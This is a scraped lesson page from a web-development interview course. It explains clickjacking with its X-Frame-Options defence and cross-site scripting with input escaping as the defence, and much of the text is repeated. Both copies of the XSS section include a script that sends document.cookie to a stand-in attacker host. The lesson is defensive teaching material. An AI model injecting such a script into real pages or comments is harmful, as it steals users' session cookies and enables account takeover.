YourAppURL

Replace the value you are getting underneath the app above.

The ultimate guide to web development interviews. Developed by FAANG engineers, practice with real-world interview questions covering network security, system design, SEO, APIs, and more.

oct6.tar.gz

server

JavaScript

Grunt

webpack

webpack-loaders

Grunt-eslint

ProgressiveRendering

webpack-code-splitting

This course compiles a comprehensive range of questions that are most likely to be asked during the frontend interview. Where many interview prep courses focus on data structures and algorithms, this course focuses on a variety of topics from network security to system design.

In this course, you will solve interview questions that cover general aspects of web development. You’ll start by going over network security and optimization techniques for load balancing and browser rendering. After that, you’ll move on to interview questions around SEO, APIs, and system design.

Overall, these are questions that are often overlooked, but they can really make you stand out from your peers. By the end of this course, you will have the confidence and ability to go in and ace that interview.

Web Development Interview Handbook

## Problem: your money gets stolen online.. again!!

Imagine you receive an email to a link. You click on it and it opens up to something like this:

h2{
    color: blue;
    text-decoration:underline;
}

<html>
<head>
<title>Win a brand new guitar!</title>
</head>
<body>
    <center>
        <h1>You can be the owner of this beautiful Ibanez 8-string guitar!</h1>
        <image src="/api/collection/10370001/6006542571667456/page/6255358161977344/image/6579057566154752" height="250" />
        <h2>Click here!! </h2>
    </center>
</body>
</html>

codemirror

Obviously, you’re going to click it.  *Everyone* wants a new guitar! But as soon as you do, all your money from your bank gets stolen! What happened there?

A clickjacking attack! An attacker directed you to their website that had an embedded iframe to your banking website. The opacity of the iframe was cleverly set to zero. When you clicked on the attractive link, you actually clicked on the banking iframe which you couldn't see. This triggered a transaction from your bank to the attacker's bank.

This example is rather unrealistic (most bank transactions aren’t that simple). However, this is how clickjacking works. An attacker gets you to click on an invisible page embedded on their site.


## The solution: `X-Frame-Options` header

The `X-Frame-Options`, or XFO header, can be sent in HTTP responses, and it tells browsers if they can load a page in an iframe. It was introduced in 2009 and is still supported by most browsers. Browsers check the XFO value before rendering an iframe.



The supported values are: `DENY` (no embedding anywhere ever), `SAMEORIGIN` (only same-origin pages can embed), and `ALLOW-FROM uri` (specified domains can).

Here's a sample HTTP response from a server that has set this header:

```
HTTP/1.1 200 OK
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
```

## The problem: another way to get robbed!

Suppose you’re going about your day, reading blog posts with comment forums. All of a sudden you get a call from the bank asking if you really just spent all your money to buy random stuff online. You didn’t! What happened?


You were the victim of a cross site scripting attack. A blogging website that you visited executed JavaScript on your browser that stole the cookies needed to login as you to an e-commerce site. The attacker then proceeded to treat themselves.

But how did a random attacker manage to get a blogging site you trust to run JavaScript on your account? Well, they left a comment like so:
```html
<script>
window.location="http://evilattackerswebsite.com/?cookie=" + document.cookie
</script>
```
Browsers are kind of dumb. If they see a `<script>` tag, they'll execute whatever is in it as JavaScript, no questions asked. That's primarily how cross-site scripting works.

## The solution: input sanitation

The blogging site in question really should escape all text that is entered by users to ensure that none of it is malicious!


# Problem: your money gets stolen online.. again!!

Imagine you receive an email to a link. You click on it and it opens up to something like this:

Obviously, you’re going to click it.  *Everyone* wants a new guitar! But as soon as you do, all your money from your bank gets stolen! What happened there?

A clickjacking attack! An attacker directed you to their website that had an embedded iframe to your banking website. The opacity of the iframe was cleverly set to zero. When you clicked on the attractive link, you actually clicked on the banking iframe which you couldn't see. This triggered a transaction from your bank to the attacker's bank.

This example is rather unrealistic (most bank transactions aren’t that simple). However, this is how clickjacking works. An attacker gets you to click on an invisible page embedded on their site.


# The solution: `X-Frame-Options` header

The `X-Frame-Options`, or XFO header, can be sent in HTTP responses, and it tells browsers if they can load a page in an iframe. It was introduced in 2009 and is still supported by most browsers. Browsers check the XFO value before rendering an iframe.



The supported values are: `DENY` (no embedding anywhere ever), `SAMEORIGIN` (only same-origin pages can embed), and `ALLOW-FROM uri` (specified domains can).

Here's a sample HTTP response from a server that has set this header:

```
HTTP/1.1 200 OK
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
```

# The problem: another way to get robbed!

Suppose you’re going about your day, reading blog posts with comment forums. All of a sudden you get a call from the bank asking if you really just spent all your money to buy random stuff online. You didn’t! What happened?


You were the victim of a cross site scripting attack. A blogging website that you visited executed JavaScript on your browser that stole the cookies needed to login as you to an e-commerce site. The attacker then proceeded to treat themselves.

But how did a random attacker manage to get a blogging site you trust to run JavaScript on your account? Well, they left a comment like so:
```html
<script>
window.location="http://evilattackerswebsite.com/?cookie=" + document.cookie
</script>
```
Browsers are kind of dumb. If they see a `<script>` tag, they'll execute whatever is in it as JavaScript, no questions asked. That's primarily how cross-site scripting works.

# The solution: input sanitation

The blogging site in question really should escape all text that is entered by users to ensure that none of it is malicious!


Clickjacking & cross-site scripting attacks are incredibly famous, and knowing about them is necessary to prevent them as a front-end developer!


Introduction

Network

Security

Optimizing Loading Performance

Optimizing Browser Rendering Performance

Search Engine Optimization

System Design

APIs

Testing

Version Control

Task Runners & Bundlers

Conclusion

Clickjacking & Cross-site Scripting Attacks

Problem: your money gets stolen online… again!!